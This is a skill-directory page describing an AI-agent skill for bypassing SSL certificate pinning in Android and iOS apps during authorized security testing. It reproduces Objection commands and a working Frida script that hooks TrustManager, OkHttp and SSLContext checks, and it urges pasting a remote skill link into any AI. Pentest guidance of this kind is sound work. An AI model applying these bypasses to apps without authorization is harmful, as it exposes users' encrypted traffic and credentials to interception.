Skip to content
Skillpedia
General coding35k · #6103

performing-mobile-app-certificate-pinning-bypass

Helps your agent bypass security protections in mobile apps. It allows viewing data traffic during authorized security tests.

What it does

This tool helps bypass a security measure called 'certificate pinning' in mobile apps (Android and iOS). This allows you to see the app's network traffic during authorized security testing.

When to use it

  • ✓When a mobile app blocks connection to a proxy.
  • ✓When performing authorized security testing on an app.
  • ✓To check how the app protects its network connections.

Example of what to ask your AI

“How can I see the network traffic of a mobile app that is blocking my connection?”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool uses other utilities like Frida and Objection to temporarily disable the app's certificate verification. This allows a program like Burp Suite to intercept and analyze the communication.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-mobile-app-certificate-pinning-bypass

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-mobile-app-certificate-pinning-bypass/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Performing Mobile App Certificate Pinning Bypass

When to Use

Use this skill when:

  • Mobile app refuses connections through a proxy due to certificate pinning
  • Performing authorized security testing requiring HTTPS traffic interception
  • Assessing the strength and bypass difficulty of pinning implementations
  • Evaluating defense-in-depth of mobile app network security

Do not use to bypass pinning on apps without explicit testing authorization.

Prerequisites

  • Burp Suite configured as proxy with listener on all interfaces
  • Rooted Android device or jailbroken iOS device
  • Frida server running on target device
  • Objection installed (pip install objection)
  • Target app installed and reproducing the pinning behavior

Workflow

Step 1: Identify Pinning Implementation

Android pinning methods to identify:

1. Network Security Config (res/xml/network_security_config.xml)
   <pin-set> with certificate hash pins

2. OkHttp CertificatePinner
   CertificatePinner.Builder().add("api.target.com", "sha256/...")

3. Custom TrustManager
   X509TrustManager overrides in code

4. Third-party libraries
   - TrustKit
   - Certificate Transparency checks

iOS pinning methods:

1. NSURLSession delegate (URLSession:didReceiveChallenge:)
2. ATS (App Transport Security) with custom trust evaluation
3. TrustKit framework
4. Alamofire ServerTrustPolicy
5. Custom SecTrust evaluation

Step 2: Bypass with Objection (Quickest Approach)

# Android
objection --gadget com.target.app explore
android sslpinning disable

# iOS
objection --gadget com.target.app explore
ios sslpinning disable

Objection hooks common pinning implementations including OkHttp CertificatePinner, TrustManagerImpl, NSURLSession delegate methods, and SecTrust evaluation.

Step 3: Bypass with Custom Frida Scripts

Android - Universal SSL Pinning Bypass:

// android_ssl_bypass.js
Java.perform(function() {
    // Bypass TrustManagerImpl
    var TrustManagerImpl = Java.use("com.android.org.conscrypt.TrustManagerImpl");
    TrustManagerImpl.verifyChain.implementation = function(untrustedChain, trustAnchorChain,
        host, clientAuth, ocspData, tlsSctData) {
        console.log("[+] Bypassing TrustManagerImpl for: " + host);
        return untrustedChain;
    };

    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use("okhttp3.CertificatePinner");
        CertificatePinner.check.overload("java.lang.String", "java.util.List").implementation =
            function(hostname, peerCertificates) {
                console.log("[+] Bypassing OkHttp3 pinning for: " + hostname);
                return;
            };
    } catch(e) {}

    // Bypass custom X509TrustManager
    var X509TrustManager = Java.use("javax.net.ssl.X509TrustManager");
    var TrustManager = Java.registerClass({
        name: "com.bypass.TrustManager",
        implements: [X509TrustManager],
        methods: {
            checkClientTrusted: function(chain, authType) {},
            checkServerTrusted: function(chain, authType) {},
            getAcceptedIssuers: function() { return []; }
        }
    });

    // Bypass SSLContext
    var SSLContext = Java.use("javax.net.ssl.SSLContext");
    SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;",
        "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation =
        function(km, tm, sr) {
            console.log("[+] Replacing TrustManagers in SSLContext.init");
            this.init(km, [TrustManager.$new()], sr);
        };

    // Bypass NetworkSecurityConfig (Android 7+)
    try {
        var NetworkSecurityConfig = Java.use(
            "android.security.net.config.NetworkSecurityConfig");
        NetworkSecurityConfig.isCleartextTrafficPermitted.implementation = function() {
            return true;
        };
    } catch(e) {}

    console.log("[*] SSL pinning bypass loaded");
});
frida -U -f com.target.app -l android_ssl_bypass.js --no-pause

iOS - Universal SSL Pinning Bypass:

// ios_ssl_bypass.js
if (ObjC.available) {
    // Bypass NSURLSession delegate
    var resolver = new ApiResolver("objc");
    resolver.enumerateMatches(
        "-[* URLSession:didReceiveChallenge:completionHandler:]", {
        onMatch: function(match) {
            Interceptor.attach(match.address, {
                onEnter: function(args) {

…
FAQ

What is 'certificate pinning'?

It's a security feature where the app verifies that the server's certificate is the expected one, preventing proxies from intercepting communication.

Do I need a special phone access?

Yes, you typically need a rooted Android device or a jailbroken iPhone, and have the Frida server running on it.

Can I use this on any app?

No, you should only use this tool on apps you have explicit permission to test.

Details

Original description by the author

Bypasses SSL/TLS certificate pinning implementations in Android and iOS applications to enable traffic interception during authorized security assessments. Covers OkHttp, TrustManager, NSURLSession, and third-party pinning library bypass techniques using Frida, Objection, and custom scripts. Activates for requests involving certificate pinning bypass, SSL pinning defeat, mobile TLS interception, o

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6103
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills